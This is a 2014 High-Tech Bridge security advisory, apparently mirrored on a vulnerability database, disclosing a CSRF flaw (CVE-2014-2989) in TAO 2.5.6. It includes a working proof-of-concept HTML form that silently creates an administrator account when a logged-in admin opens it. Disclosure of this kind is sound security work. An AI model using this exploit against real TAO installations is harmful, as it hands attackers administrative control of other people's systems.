Lucene search

K
htbridgeHigh-Tech BridgeHTB23211
HistoryApr 16, 2014 - 12:00 a.m.

Сross-Site Request Forgery (CSRF) in TAO

2014-04-1600:00:00
High-Tech Bridge
www.htbridge.com
17

0.01 Low

EPSS

Percentile

83.3%

High-Tech Bridge Security Research Lab discovered vulnerability in TAO, which can be exploited to gain complete administrative control over the vulnerable application.

  1. Сross-Site Request Forgery (CSRF) in TAO: CVE-2014-2989

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a website administrator to open a specially crafted link and create a new account with administrative privileges.

The simple exploit code below creates administrative account with login “immuniweb” and password “immuniweb1”:
<form action=“http://[host]/tao/Users/add” method=“post” name=“main”>
<input type=“hidden” name=“user_form_sent” value=“1”>
<input type=“hidden” name=“tao.forms.instance” value=“1”>
<input type=“hidden” name=“http_2_www_0_w3_0_org_1_2000_1_01_1_rdf-schema_3_label” value=“User+5”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName” value=“First Name”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName” value=“Last Name”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail” value="[email protected]">
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_login” value=“immuniweb”>
<input type=“hidden” name=“password1” value=“immuniweb1”>
<input type=“hidden” name=“password2” value=“immuniweb1”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userDefLg” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_0” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_GenerisRole”>
< input type=“hidden” name=“” value=“”>
<input type=“submit” id=“btn”>
</form>

CPENameOperatorVersion
taole2.5.6

0.01 Low

EPSS

Percentile

83.3%